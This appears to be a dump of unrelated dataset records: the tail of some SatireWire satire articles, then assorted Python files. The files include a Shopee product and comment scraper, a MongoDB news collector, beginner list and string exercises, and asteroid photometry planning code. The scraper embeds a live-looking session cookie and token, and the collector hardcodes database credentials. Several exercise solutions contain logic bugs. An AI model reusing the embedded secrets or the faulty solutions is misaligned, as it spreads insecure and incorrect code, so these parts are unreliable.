Islamic people, proved to be a fake. “Somebody filled out a form and signed our name to it, but I guarantee it wasn’t us,” said Imam Yusuf Al Muhammed of Medina, Saudi Arabia. “I’m not going to say who it was, but the application was filled out in Hebrew.” “Oh, don’t be such a k’vatsh,” responded Meyerson. “It’s only 10,000 years. Trust me, after a few diaspora, you would have gotten used to the universal hatred thing.” Due to the absence of voluntary candidates, God’s Law stipulated that the Almighty had to choose a people at random to serve out the next 10-millenia term. Elias Contreau, director of the International Interfaith Working Group, said he wasn’t surprised it came to a blind drawing. “According to the Bible, God promised to bless Abraham and those who came after him,” said Contreau. “Who knows, maybe that sounded good at the time, or maybe ‘blessed’ meant something different back then, like ‘Short periods of prosperity interrupted by insufferable friggin’ chaos.’ Whatever, I think it’s safe to say that people didn’t know what they were agreeing to.” Now they do, Contreau added, which he said explains why so many religions had lately been exalting God’s existence, but downplaying their own. “We were not avoiding Him. We just told our parishioners that if Anyone asks, we’re out,” insisted Archbishop of Canterbury Dr. George Carey, who had called off services during February. “Besides, we weren’t the only ones. I didn’t see the Hindus raising their hands.” “Now look, it’s like we told the ethereal vision who dropped off the application, ‘Sure, we have a strong shared faith and all that, but I wouldn’t exactly say we’re a ‘people,’ not really,’” recalled Hindu leader Samuldrala Swami Maharaj of Calcutta. “Plus, you know, I told him we had a lot of other commitments. We’d like to help, honestly. Another time, maybe.” In Jerusalem, Jewish leaders said they will propose an amendment to God’s Law prohibiting a people from having to serve more than two consecutive terms. “Hopefully, G-d will hear our prayer,” said Meyerson. “No, wait, that’s what got us into this.” Americans, meanwhile, expressed outrage at the decision, saying they had assumed they were God’s chosen people. However, explained Archbishop Carey, “It only seems that way because so many people don’t like you.” '], ['no-topic', 'LIFE ON THE MESSAGE BOREDS', 'Kinda Hard to Focus Nowadays; Things Just Aren’t the Same… New York, N.Y. (SatireWire.com) – The thrill is gone, and nowhere is it more evident than the Internet’s once-boisterous stock message boards, where the exuberance that led to heated daily confrontations between active traders has given way to… well, see for yourself, as SatireWire drops in on the boards at Ya! Raging Fool. 4. RealNetworks (RNWK) 1 Message 3. Opus360 (OPUS) 12 Messages 1. Priceline (PCLN) 10 Messages 2. Red Hat (RHAT) 10 Messages 5. VerticalNet (VERT) 10 Messages '], ['no-topic', 'EMPLOYEE-SLAPPING WIDESPREAD, EFFECTIVE', 'Major Corporations Turning into ‘Swat Shops’ NEW YORK, N.Y. (SatireWire.com) – Frustrated by a tight labor market that has forced them to make unprecedented concessions to employees, several dozen American companies have instituted “employee-slapping” policies, allowing managers to slap workers “pretty much whenever they damn well please”. Widely hailed by supervisors as a great equalizer, the random slapping of employees has, not surprisingly, come under fire from many lower-level workers. But even some senior-level managers have voiced complaints. I, for one, don’t like it a bit,” said Marcia Pepperstein, vice president of sales at Motorola. “I’m a vice president, and I get slapped. I think there should be a ceiling somewhere, just below me, so that I don’t get slapped, but I still get to slap. That, to me, would be an acceptable system.” While employee-slapping programs are relatively new, their genesis can be found in the mid 1990s, when Internet companies raised the ante for hiring by offering stock options and unusual perks. As a result, employees gained more freedom and power, and despite recent woes among Internet companies, have been able to make ever greater demands on employers. Employee-slapping, proponents argue, makes up for the lost sense of balance, with several managers reporting they can “feel the tension fly right off their fingertips.” Some also contend the policy has reinvigorated a sense of ambition in the workforce, as climbing the corporate ladder to attain more money or power has been supplanted by a more intense, visceral desire. “It’s simple math,” explained Jeffrey Baines, a senior marketing manager at United Parcel Service. “Right now, in my department, I’ve got six people under me. That’s only six people I can slap. My boss, he has 96 people under him. I want his job.” There are, however, limits to ambition, warns Cisco Systems CEO John Chambers. “I’ve got 26,000 employees, and theoretically, I could slap every one of them, but whose got the time?” he said. “What I’ve learned, and this is a good lesson for prospective managers out there: delegate.” Most employee-slapping policies prohibit the slapping of anyone not full-time, although Goldman Sachs has reportedly violated this recently by allowing managers to slap temporary workers until they confess. One violation companies have been cracking down on is what’s known as the “slunch,” or slap-punch. “My boss punched me once,” recalled Baines. “She said it was a slap, but I felt knuckle. I couldn’t shave for a week.” Baines filed a complaint with Human Resources department at UPS, and after getting slapped around a bit — “on the organizational chart, they were two levels above me” — his grievance was declared valid. Now his boss can only slap him in the presence of her superiors. With the rapid pace of its adoption, employee-slapping is expected to quickly extend beyond the business world and reach into government. Already, federal officials and political party operatives are preparing. “We’ve bought all our candidates mouthpieces,” said Democratic pollster Stanley Greenberg. “And we’ve also told them to stop saying ‘I work for the American people.’” ']] |
990,173 | 510eae113dc833f596a324e258cb0c855bac83ad | #
# Add genjet producer
#
def prod_genjets(process):
# === Produce genjets ===
# hi jet cfg
process.load("CmsHi.JetAnalysis.IterativeCone5HiGenJets_cff")
# subevent map
process.load("CmsHi.Utilities.HiGenParticles_cfi")
# genjet configuration
process.hiGenParticles.src = ["generator"]
process.reco_step = cms.Path(process.hiGenParticles*process.hiGenParticlesForJets*process.iterativeCone5HiGenJets)
process.schedule.insert(0,process.reco_step)
return(process)
process=prod_genjets(process)
|
990,174 | fe11835773c209539c16529386739b240015e9c5 | def max_char_count(st):
mapper = {}
max_char = 0
res = None
for char in st:
mapper[char] = mapper.get(char, 0) + 1
for key, value in mapper.items():
if value > max_char:
res = key
max_char = value
return res
print(max_char_count('abbccccccd'))
print(max_char_count('apple 1231111'))
|
990,175 | a6f84330474a1a2f92e761290a94fafa2503b7b0 | # #1. Дано целое число (int). Определить сколько нулей в этом числе.
#
my_value = int(input("Введите число "))
string_value = str(my_value)
counter = 0
for symbol in string_value:
if symbol == "0":
counter += 1
print("Количество нулей в числе: ", counter)
#2. Дано целое число (int). Определить сколько нулей в конце этого числа.
#
my_value = int(input("Введите число "))
string_value = str(my_value)
counter = 0
for symbol in string_value[::-1]:
if symbol == "0":
counter += 1
elif symbol != "0":
break
print("Количество нулей в конце ввдённого числа: ", counter)
#3a. Даны списки my_list_1 и my_list_2.
#Создать список my_result в который вначале поместить
#элементы на четных местах из my_list_1, а потом все элементы на нечетных местах из my_list_2.
my_list_1 = [1, 2, "3", 4, 5, 6]
my_list_2 = [1, 2, 3, 4, 5]
my_result = []
for index in my_list_1[::2]:
my_result.append(index)
for index_2 in my_list_2 [1::2]:
my_result.append(index_2)
print(my_result)
# 3b. Даны списки my_list_1 и my_list_2. Создать список my_result в который
# вначале поместить четные элементы (ИМЕННО ЭЛЕМЕНТЫ) из my_list_1 и потом нечетные элементы из my_list_2.
# my_list_1 = [1,3,2,4,5], my_list_2 = [10, 20, 15, 25, 22] -> my_result [2, 4, 15, 25]
#
my_list_1 = [1, 3, 2, 4, 5]
my_list_2 = [10, 20, 15, 25, 22]
my_result = []
for element in my_list_1:
if not element % 2:
my_result.append(element)
for element_2 in my_list_2:
if element_2 % 2:
my_result.append(element_2)
print(my_result)
# 4. Дан список my_list. СОЗДАТЬ НОВЫЙ список new_list у которого первый элемент из my_list
# стоит на последнем месте. Если my_list [1,2,3,4], то new_list [2,3,4,1]
my_list = [1, 2, 3, 4]
new_list = my_list[1:4]
new_list.append(my_list[0])
print(new_list)
# 5.Дан список my_list. В ЭТОМ списке первый элемент переставить на последнее место.
# [1,2,3,4] -> [2,3,4,1]. Пересоздавать список нельзя! (используйте метод pop)
#
my_list = [1, 2, 3, 4]
my_list.append(my_list[0])
my_list.pop(0)
print(my_list)
# 6. Дана строка в которой есть числа (разделяются пробелами).
# Например "43 больше чем 34 но меньше чем 56". Найти сумму ВСЕХ ЧИСЕЛ (А НЕ ЦИФР) в этой строке.
# Для данного примера ответ - 133.
my_str = "43 больше чем 34 но меньше чем 56"
splitted_string_list = my_str.split()
my_int_list = []
for str in splitted_string_list:
if str.isdigit():
my_int_list.append(int(str))
print(sum(my_int_list))
#7. Дана строка my_str. Разделите эту строку на пары из двух символов и поместите эти пары в список.
#Если строка содержит нечетное количество символов, пропущенный второй символ последней пары должен
#быть заменен подчеркиванием ('_'). Примеры: 'abcd' -> ['ab', 'cd'], 'abcde' -> ['ab', 'cd', e_']
my_str = "2134567"
print(len(my_str))
my_list = []
if not len(my_str) % 2==0:
my_str += "_"
for symbol in my_str[0:-1]:
index = my_str.index(symbol)
if index % 2 == 0:
my_list.append(my_str[index]+my_str[index+1])
print(my_list)
print(my_str)
# 8. Дана строка my_str в которой символы не повторяются и два символа l_limit, r_limit,
# которые точно находятся в этой строке. Причем l_limit левее чем r_limit.
# В переменную sub_str поместить часть строки между этими символами.
# my_str = "My_long str", l_limit = "o", r_limit = "t" -> sub_str = "ng s"
my_str = "asdfghjkl"
l_limit = "s"
r_limit = "l"
sub_string = my_str[my_str.find(l_limit):my_str.find(r_limit)]
print(sub_string)
# 9. Дана строка my_str в которой символы МОГУТ повторяться и два символа l_limit, r_limit,
# которые точно находятся в этой строке. Причем l_limit левее чем r_limit.
# В переменную sub_str поместить НАИБОЛЬШУЮ часть строки между этими символами.
# my_str = "My long string", l_limit = "o", r_limit = "g" -> sub_str = "ng strin".
my_str="My long string"
r_limit = "g"
sub_str = ""
l_limit = "o"
sub_string = my_str[(my_str.find(l_limit)+1):my_str.rfind(r_limit)]
print(sub_string)
# 10. Дан список чисел. Определите, сколько в этом списке элементов,
# которые больше суммы двух своих соседей (слева и справа), и НАПЕЧАТАЙТЕ КОЛИЧЕСТВО таких элементов.
# Крайние элементы списка никогда не учитываются, поскольку у них недостаточно соседей.
# Для списка [2,4,1,5,3,9,0,7] ответом будет 3 потому что 4 > 2+1, 5 > 1+3, 9>3+0.
my_list = [2, 4, 1, 5, 3, 9, 0, 7]
counter = 0
for elem in my_list[1:-2]:
index = my_list.index(elem)
if elem > my_list[index - 1] + my_list[index + 1]:
counter = counter + 1
print(counter)
|
990,176 | d2f720bd1b16635daa8e04178d8344904e80dbff | # -*- coding: utf-8 -*-
"""
Created on Wed Feb 12 10:32:04 2020
@author: Ivan
"""
import requests
from bs4 import BeautifulSoup
import json
import pandas as pd
import time
from tqdm import tqdm
import time
import re
import random
keyword = '運動內衣'
page = 1
#封包標頭檔
my_headers = {'authority' : 'shopee.tw',
'method': 'GET',
'path': '/api/v1/item_detail/?item_id=1147052312&shop_id=17400098',
'scheme': 'https',
'accept': '*/*',
'accept-encoding': 'gzip, deflate, br',
'accept-language': 'zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7,ja;q=0.6',
'cookie': '_ga=GA1.2.1087113924.1519696808; SPC_IA=-1; SPC_F=SDsFai6wYMRFvHCNzyBRCvFIp92UnuU3; REC_T_ID=f2be85da-1b61-11e8-a60b-d09466041854; __BWfp=c1519696822183x3c2b15d09; __utmz=88845529.1521362936.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); _atrk_siteuid=HEgUlHUKcEXQZWpB; SPC_EC=-; SPC_U=-; SPC_T_ID="vBBUETICFqj4EWefxIdZzfzutfKhrgytH2wyevGxiObL3hFEfy0dpQSOM/yFzaGYQLUANrPe7QZ4hqLZotPs72MhLd8aK0qhIwD5fqDrlRs="; SPC_T_IV="IpxA2sGrOUQhMH4IaolDSA=="; cto_lwid=2fc9d64c-3cfd-4cf9-9de7-a1516b03ed79; csrftoken=EDL9jQV76T97qmB7PaTPorKtfMlU7eUO; bannerShown=true; _gac_UA-61915057-6=1.1529645767.EAIaIQobChMIwvrkw8bm2wIVkBiPCh2bZAZgEAAYASAAEgIglPD_BwE; _gid=GA1.2.1275115921.1529896103; SPC_SI=2flgu0yh38oo0v2xyzns9a2sk6rz9ou8; __utma=88845529.1087113924.1519696808.1528465088.1529902919.7; __utmc=88845529; appier_utmz=%7B%22csr%22%3A%22(direct)%22%2C%22timestamp%22%3A1529902919%7D; _atrk_sync_cookie=true; _gat=1',
'if-none-match': "55b03-9ff4fb127aff56426f5ec9022baec594",
'referer': 'https://shopee.tw/6-9-%F0%9F%87%B0%F0%9F%87%B7%E9%9F%93%E5%9C%8B%E9%80%A3%E7%B7%9A-omg!%E6%96%B0%E8%89%B2%E7%99%BB%E5%A0%B4%F0%9F%94%A5%E4%BA%A4%E5%8F%89%E7%BE%8E%E8%83%8CBra%E5%BD%88%E5%8A%9B%E8%83%8C%E5%BF%83-i.17400098.1147052312',
'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36',
'x-api-source': 'pc',
'x-requested-with': 'XMLHttpRequest'
}
#專門用來請求蝦皮
def request_shopee(keyword, page):
url = 'https://shopee.tw/api/v2/search_items/?by=relevancy&keyword=' + keyword + '&limit=100&newest=' + str(page*100) + '&order=desc&page_type=search&version=2'
#開始請求
list_req = requests.get(url,headers = my_headers)
soup = BeautifulSoup(list_req.content, "html.parser")
#將扒下來的文字轉成Json
getjson=json.loads(soup.text)
return getjson['items']
# 進入每個商品，抓取賣家更細節的資料（商品文案、SKU）
def goods_detail(item_id, shop_id):
url = 'https://shopee.tw/api/v2/item/get?itemid=' + str(item_id) + '&shopid=' + str(shop_id)
r = requests.get(url,headers = my_headers)
st= r.text.replace("\\n","^n")
st=st.replace("\\t","^t")
st=st.replace("\\r","^r")
gj=json.loads(st)
return gj
# 進入每個商品，抓取買家留言
def goods_comments(item_id, shop_id):
url = 'https://shopee.tw/api/v1/comment_list/?item_id='+ str(item_id) + '&shop_id=' + str(shop_id) + '&offset=0&limit=200&flag=1&filter=0'
r = requests.get(url,headers = my_headers)
st= r.text.replace("\\n","^n")
st=st.replace("\\t","^t")
st=st.replace("\\r","^r")
gj=json.loads(st)
return gj['comments']
container = pd.DataFrame()
container_comm = pd.DataFrame()
for i in tqdm(range(page)):
commentlist = pd.DataFrame()
articles = []
SKU = []
tags = []
items=pd.DataFrame(request_shopee(keyword='運動內衣', page=i)) #先取得100個產品
# 查看request_shopee爬下來的資料
items2 = items[['itemid','shopid','name', 'price']]
#一個一個產品進去抓
for itemid, shopid, name, price in zip(items['itemid'].tolist(), items['shopid'].tolist(), items['name'].tolist(), items['price'].tolist()):
print('正在爬取商品： ' + name[:30] + '...')
product=goods_detail(item_id = itemid, shop_id = shopid)['item']
#取得資料
articles.append(product['description'])
SKU.append(product['models'])
tags.append(product['hashtag_list'])
#評論詳細資料
iteComment = goods_comments(item_id = itemid, shop_id = shopid)
userid = [] #使用者ID
anonymous = [] #是否匿名
commentTime = [] #留言時間
is_hidden = [] #是否隱藏
orderid = [] #訂單編號
comment_rating_star = [] #給星
comment = [] #留言內容
product_SKU = [] #商品規格
for comm in iteComment:
userid.append(comm['userid'])
anonymous.append(comm['anonymous'])
commentTime.append(comm['ctime'])
is_hidden.append(comm['is_hidden'])
orderid.append(comm['orderid'])
comment_rating_star.append(comm['rating_star'])
comment.append(comm['comment'])
p=[]
for pro in comm['product_items']:
try:
p.append(pro['model_name'])
except:
p.append(None)
product_SKU.append(p)
comment_dic = pd.DataFrame({
'使用者ID':userid,
'是否匿名':anonymous,
'留言時間':commentTime,
'是否隱藏':is_hidden,
'訂單編號':orderid,
'給星':comment_rating_star,
'留言內容':comment,
'商品規格':product_SKU
})
container_comm = pd.concat([container_comm,comment_dic], axis=0)
print(len(container_comm))
#做成欄位
items['articles'] = articles
items['SKU'] = SKU
items['hashtag_list'] = tags
container = pd.concat([container,items], axis=0)
time.sleep(random.randint(10,20))
container.to_csv(keyword +'_商品資料.csv', encoding = 'utf-8-sig') #Mac使用utf-8
container_comm.to_csv(keyword +'_留言資料.csv', encoding = 'utf-8-sig') #Mac使用utf-8
|
990,177 | a3395757c7efb0b65cd10966c4a2472420c4d044 |
import matplotlib.pyplot as plt
import matplotlib.image as mpimg
img = mpimg.imread('images\davud ibrahim\di-1.jpg')
imgplot = plt.imshow(img)
plt.show() |
990,178 | 195f47f95f5e9e1ad8ff36a1a45da659198f2439 | import os
from urlparse import urlparse, urlunparse
from bpprov.components.rest_auth import Auth
class BPAuth(Auth):
schema_base = os.path.join(os.path.dirname(__file__), 'model', 'schema')
schema = 'bp-auth.json'
def start(self):
pass
def stop(self):
pass
def sign(self, url, body, headers):
parsed = urlparse(url)
query_params = parsed.query.split('&')
query_params.append('token={}'.format(self.params['token']))
parsed = parsed._replace(query='&'.join(query_params))
url = urlunparse(parsed)
return (url, body, headers)
|
990,179 | 2a8115cde15550b9379f81497af00fece57b0380 | import json
import news_feed
import feedparser
import time
from pymongo import MongoClient
import pymongo
class NewsCollector():
"""
mongo
"""
def __init__(self, db_access=True, url="localhost", db="news", collection="yahoo"):
"""
"""
self.db_access = db_access
if db_access:
self.connect(url=url, db=db, collection=collection)
def connect(self, url="localhost", db="news", collection="yahoo"):
print("[CONNECT]mongodb://{}:{}@{}".format("xxxx", "xxxx", url))
self.client = MongoClient(
"mongodb://{}:{}@{}".format("root", "example", url))
self.db = self.client[db]
self.coll = self.db[collection]
self.coll.create_index("link", unique=True)
self.topics = self.db["topics"]
self.topics.create_index(
[("published", pymongo.DESCENDING), ("title", pymongo.DESCENDING)], unique=True)
def insert(self, query):
if not self.db_access:
print(query)
return
try:
self.coll.insert_one(query)
except pymongo.errors.DuplicateKeyError as e:
print("[DuplicateKey]{}".format(query["link"]))
except:
import traceback
print(query)
traceback.print_exc()
def topic_insert(self, rss_link, yahoo_news_dic):
if not self.db_access:
print(yahoo_news_dic)
return
try:
query = {
"published": yahoo_news_dic.feed.published,
"title": yahoo_news_dic.feed.title,
"subtitle": yahoo_news_dic.feed.subtitle,
"rss_link": rss_link,
"entries": yahoo_news_dic.entries
}
self.topics.insert_one(query)
except:
import traceback
print(rss_link)
traceback.print_exc()
def yahoo_news(self, link):
yahoo_news_dic = feedparser.parse(link)
if "pickup" in link:
self.topic_insert(link, yahoo_news_dic)
for entry in yahoo_news_dic.entries:
# リンクを取得
detail_link = entry.link
if "pickup" in entry.link:
detail_link = news_feed.parseElement(
entry.link, ".pickupMain_detailLink a").get("href")
if "byline" in detail_link:
para = news_feed.parseElement(
detail_link, "#byline_detail_article div p,h2",
select_one=False)
else:
para = news_feed.parseElement(
detail_link, ".articleMain .paragraph", select_one=False)
text = " ".join([news_feed.sanitize(p.text) for p in para])
self.write_article(entry.title, detail_link,
entry.published, text, link)
def write_article(self, title, link, published, text, rss_link):
d = {
"title": title,
"link": link,
"published": published,
"text": text,
"rss_link": rss_link
}
self.insert(d)
def main(self, interval=1, rss_link="rss_link.json"):
with open(rss_link) as f:
data = json.load(f)
links = data["yahoo_news"]
for l in links:
try:
self.yahoo_news(l)
except:
import traceback
print(l)
traceback.print_exc()
time.sleep(interval)
if __name__ == "__main__":
import os
mongo_url = os.environ.get("MONGO_URL", "localhost")
rss_link_json = os.environ.get("RSS_LINK", "rss_link.json")
obj = NewsCollector(db_access=True, url=mongo_url)
obj.main(rss_link=rss_link_json)
|
990,180 | 14a7a1e099183f5b88f6cdf530ca01bc93921120 | __author__ = "Eric Dose :: New Mexico Mira Project, Albuquerque"
import os
from datetime import datetime, timezone, timedelta
from math import ceil, floor, sqrt
import numpy as np
import pandas as pd
# from astroquery.mpc import MPC
import requests
from bs4 import BeautifulSoup
import matplotlib
# matplotlib.use('Agg') # Place before importing matplotlib.pyplot or pylab.
import matplotlib.pyplot as plt
import matplotlib.ticker as ticker
import matplotlib.patches as patches
from mpc.mp_astrometry import calc_exp_time, PAYLOAD_DICT_TEMPLATE, get_one_html_from_list
from photrix.user import Astronight
from photrix.util import RaDec, datetime_utc_from_jd, jd_from_datetime_utc, hhmm_from_datetime_utc
MOON_CHARACTER = '\u263D'
# MOON_CHARACTER = '\U0001F319' # Drat, matplotlib complains 'glyph missing from current font'.
HTTP_OK_CODE = 200 # "OK. The request has succeeded."
CALL_TARGET_COLUMNS = ['LCDB', 'Eph', 'CN', 'CS', 'Favorable', 'Num', 'Name',
'OppDate', 'OppMag',
'MinDistDate', 'MDist', 'BrtDate', 'BrtMag', 'BrtDec', 'PFlag', 'P',
'AmplMin', 'AmplMax', 'U', 'Diam']
# MP_PHOTOMETRY_PLANNING:
MIN_MP_ALTITUDE = 29 # degrees
MIN_MOON_DISTANCE = 40 # degrees (default value)
MIN_HOURS_OBSERVABLE = 2 # (default value) less than this, and MP is not included in planning.
DSW = ('254.34647d', '35.11861269964489d', '2220m')
DSNM = ('251.10288d', '31.748657576406853d', '1372m')
# next is: (v_mag, exp_time in sec), for photometry only.
EXP_TIME_TABLE_PHOTOMETRY = [(13, 60), (14, 80), (15, 160), (16, 300), (17, 600), (17.5, 900)]
EXP_OVERHEAD = 20 # Nominal exposure overhead, in seconds.
COV_RESOLUTION_MINUTES = 5 # min. coverage plot resolution, in minutes.
MAX_V_MAGNITUDE_DEFAULT = 18 # to ensure ridiculously faint MPs don't get into planning & plots.
MAX_EXP_TIME_NO_GUIDING = 119
MPFILE_DIRECTORY = 'C:/Dev/Photometry/MPfile'
ACP_PLANNING_TOP_DIRECTORY = 'C:/Astro/ACP'
# MP_PHOTOMETRY_PLANNING_DIRECTORY = 'C:/Astro/MP Photometry/$Planning'
CURRENT_MPFILE_VERSION = '1.1'
# MPfile version 1.1 = added #BRIGHTEST directive; #EPH_RANGE rather than #UTC_RANGE; added #FAMILY.
FOR_PLANNING_____________________________________________________________ = 0
def make_mp_roster(an_string, site_name='DSW', min_moon_dist=MIN_MOON_DISTANCE,
min_hours=MIN_HOURS_OBSERVABLE, max_vmag=MAX_V_MAGNITUDE_DEFAULT,
plots_to_console=False):
""" Main planning workflow for MP photometry. Requires a
:param an_string: Astronight, e.g. 20200201 [string or int]
:param site_name: name of site for Site object. [string]
:param min_moon_dist: min dist from min (degrees) to consider MP observable. [float]
:param min_hours: min hours of observing time to include an MP. [float]
:param max_vmag: maximum estimated V mag allowed for MP to be kept in table & plots. [float]
:return: [None]
"""
# Make and print table of values, 1 line/MP, sorted by earliest observable UTC:
df_an_table = make_df_an_table(an_string, site_name='DSW',
min_moon_dist=min_moon_dist, min_hours=min_hours)
# Write warning lines for MPs that are no longer observable:
gone_west_lines = []
for i in df_an_table.index:
if df_an_table.loc[i, 'Status'].lower() == 'too late':
gone_west_lines.append(' >>>>> WARNING: MP ' + df_an_table.loc[i, 'MPnumber'] +
' ' + df_an_table.loc[i, 'MPname'] +
' has gone low in the west, probably should archive the MPfile.')
# Warn of, then remove too-faint MPs:
bright_enough = [vmag <= max_vmag for vmag in df_an_table['V_mag']]
mps_to_keep = bright_enough
mps_too_faint = df_an_table.loc[[not be for be in bright_enough], :]
if len(mps_too_faint) > 0:
print(' >>>>> WARNING: MPs fainter than V', str(max_vmag), 'and thus excluded:')
for i in mps_too_faint.index:
transitUTC = df_an_table.loc[i, 'TransitUTC']
if not np.isnan(transitUTC.day):
print(' ',
'V=' + '{:5.2f}'.format(df_an_table.loc[i, 'V_mag']),
'transit=' + hhmm_from_datetime_utc(transitUTC),
df_an_table.loc[i, 'MPnumber'].rjust(7),
df_an_table.loc[i, 'MPname'])
print()
df_an_table = df_an_table.loc[mps_to_keep, :]
if df_an_table is None:
print('No MPs observable for AN', an_string + '.')
return
df = df_an_table.copy()
table_lines = ['MP Photometry planning for AN ' + an_string + ':',
''.rjust(22) + 'Start Tran End V Exp/s Duty/% P/hr']
for i in df.index:
# print(str(i), str(df.loc[i, 'MPnumber']), str(df.loc[i, 'Status']))
if df.loc[i, 'Status'].lower() != 'ok':
continue # sentinel
duty_cycle = df.loc[i, 'DutyCyclePct']
duty_cycle_string = ' --' if (duty_cycle is None or np.isnan(duty_cycle) == True) \
else str(int(round(duty_cycle))).rjust(6)
period = df.loc[i, 'Period']
period_string = ' ? ' if (period is None or np.isnan(period) == True) \
else '{0:7.2f}'.format(period)
table_line_elements = [df.loc[i, 'MPnumber'].rjust(6),
df.loc[i, 'MPname'].ljust(15),
hhmm_from_datetime_utc(df.loc[i, 'StartUTC']),
hhmm_from_datetime_utc(df.loc[i, 'TransitUTC']),
hhmm_from_datetime_utc(df.loc[i, 'EndUTC']),
'{0:5.1f}'.format(df.loc[i, 'V_mag']),
str(int(round(df.loc[i, 'ExpTime']))).rjust(5),
duty_cycle_string,
period_string,
' ' + df.loc[i, 'PhotrixPlanning']]
if df.loc[i, 'ExpTime'] <= MAX_EXP_TIME_NO_GUIDING:
table_line_elements.append(' AG+')
table_lines.append(' '.join(table_line_elements))
print('\n'.join(table_lines))
print('\n'.join(gone_west_lines))
# Make ACP AN directory if doesn't exist:
text_file_directory = os.path.join(ACP_PLANNING_TOP_DIRECTORY, 'AN' + an_string)
os.makedirs(text_file_directory, exist_ok=True)
# Delete previous plot and text files, if any:
image_filenames = [f for f in os.listdir(text_file_directory) if f.endswith('.png')]
for f in image_filenames:
os.remove(os.path.join(text_file_directory, f))
table_filenames = [f for f in os.listdir(text_file_directory) if f.startswith('MP_table_')]
for f in table_filenames:
os.remove(os.path.join(text_file_directory, f))
# Write text file:
text_filename = 'MP_table_' + an_string + '.txt'
text_file_fullpath = os.path.join(text_file_directory, text_filename)
with open(text_file_fullpath, 'w') as this_file:
this_file.write('\n'.join(table_lines))
this_file.write('\n'.join(gone_west_lines))
# Display plots; also write to PNG files:
is_to_plot = [status.lower() == 'ok' for status in df_an_table['Status']]
df_for_plots = df_an_table.loc[is_to_plot]
make_coverage_plots(an_string, site_name, df_for_plots, plots_to_console)
def make_roster_one_class(month_string='202007', mp_family='MC'):
""" From CALL website, get targets for one month, one MP family (e.g., 'MC' for Mars Crosser).
:param month_string: month designator, as 'yyyymm'. [string]
:param mp_family: official MP family Code. [string]
:return: dataframe resembling CALL target HTML table, capable of being appended to other MP family
tables. [pandas DataFrame]
"""
year_month = month_string.strip()
if len(year_month) == 6:
target_year, target_month = year_month[0:4], year_month[4:6]
else:
print(' >>>>> ERROR: month_string not valid.')
return
import requests
url = "http://www.minorplanet.info/PHP/call_OppLCDBQuery.php"
payload = {"OppData_NumberLow": "1",
"OppData_NumberHigh": "999999",
"OppDataNameOptions[]": "Any",
"OppData_NameSearch": "",
"OppDataYearOptions[]": target_year,
"OppDataMonthOptions[]": target_month,
"Family[]": mp_family,
"OppDataFavorableOptions[]": "All",
"OppDataCALLOptions[]": "All",
"OppDataLCDBOptions[]": "All",
"OppData_MinMag": "11",
"OppData_MaxMag": "16",
"OppData_MinDec": "-22",
"OppData_MaxDec": "90",
"OppData_MaxDia": "5000",
"submit": "Submit"}
r = requests.post(url, data=payload)
mp_list = []
if r.status_code == HTTP_OK_CODE:
soup = BeautifulSoup(r.text, 'html.parser')
tables = soup.find_all('table')
mp_table = tables[2]
mp_lines = mp_table.find_all('tr')
for line in mp_lines[1:]:
cells = line.find_all('td')
cell_strings = [cell.text if cell.text != '\xa0' else '' for cell in cells] # clean weird HTML.
mp_list.append(cell_strings)
mp_dict_list = [dict(zip(CALL_TARGET_COLUMNS, mp)) for mp in mp_list]
df = pd.DataFrame(data=mp_dict_list).drop(columns=CALL_TARGET_COLUMNS[0:2])
opp_date_valid = [not s.startswith('99') for s in df['OppDate']]
df = df[opp_date_valid]
df['YearMonth'] = month_string
df['Family'] = mp_family
index_values = [number + '_' + family for (number, family) in zip(df['Num'], df['Family'])]
df.index = index_values
return df
def backlog(months=6):
days_forward = int(round(months * (365.25 / 12))) # good enough for now.
latest_utc_brightest = datetime.now().replace(tzinfo=timezone.utc) + timedelta(days=days_forward)
mpfile_dict = make_mpfile_dict()
backlog_dict_list = []
for mp in mpfile_dict.keys():
mpfile = mpfile_dict[mp]
if mpfile.brightest_utc <= latest_utc_brightest:
backlog_dict = {'Number': mpfile.number, 'Name': mpfile.name,
'Brightest': mpfile.brightest_utc, 'Motive': mpfile.motive}
backlog_dict_list.append(backlog_dict)
df = pd.DataFrame(data=backlog_dict_list).sort_values(by='Brightest')
df.index = list(df['Number'])
return df # temporary for testing.
SUPPORT_____________________________________________________________ = 0
def make_df_an_table(an_string, site_name='DSW', min_moon_dist=MIN_MOON_DISTANCE,
min_hours=MIN_HOURS_OBSERVABLE):
""" Make dataframe of one night's MP photometry planning data, one row per MP.
USAGE: df = make_df_an_table('20200201')
:param an_string: Astronight, e.g. 20200201 [string or int]
:param site_name: name of site for Site object. [string]
:param min_moon_dist: min dist from min (degrees) to consider MP observable [float].
:param min_hours: min hours of observing time to include an MP. [float]
:return: table of planning data, one row per current MP, many columns including one for
coverage list of dataframes. [DataFrame]
"""
an_string = str(an_string) # (precaution in case int passed in)
an_object = Astronight(an_string, site_name)
# dark_start, dark_end = an_object.ts_dark.start, an_object.ts_dark.end
mid_dark = an_object.local_middark_utc
# dark_no_moon_start, dark_no_moon_end = an_object.ts_dark_no_moon.start, an_object.ts_dark_no_moon.end
mpfile_dict = make_mpfile_dict()
an_dict_list = [] # results to be deposited here, to make a dataframe later.
for mp in mpfile_dict.keys():
mpfile = mpfile_dict[mp]
# an_dict doesn't need to include defaults for case before or after mpfile ephemeris,
# because making the dataframe should put in NANs for missing keys anyway (check this later):
an_dict = {'MPnumber': mpfile.number, 'MPname': mpfile.name, 'Motive': mpfile.motive,
'Priority': mpfile.priority, 'Period': mpfile.period}
# Interpolate within ephemeris (because MP is moving in sky); 2 iterations s/be enough:
data, status, ts_observable, mp_radec = None, None, None, None # keep stupid IDE happy.
best_utc = mid_dark # best_utc will = mid-observable time at converged RA,Dec.
# Converge on best RA, Dec, observable timespan (they interact, as MP is moving):
hours_observable = 0.0 # default to keep IDE happy.
for i in range(2):
data = mpfile.eph_from_utc(best_utc)
if data is None:
if mpfile.eph_range[1] < an_object.ts_dark.start:
status = 'too late'
else:
status = 'too early'
break
status = 'ok'
mp_radec = RaDec(data['RA'], data['Dec'])
ts_observable = an_object.ts_observable(mp_radec,
min_alt=MIN_MP_ALTITUDE,
min_moon_dist=min_moon_dist) # Timespan object
hours_observable = ts_observable.seconds / 3600.0
mid_observable = ts_observable.midpoint # for loop exit
best_utc = mid_observable # update for loop continuation.
# Mark valid MPs that are observable too briefly:
if status.lower() == 'ok':
if hours_observable < min_hours:
status = 'too brief'
# For MPs observable this night, add one line to table:
# print(mpfile.name, status)
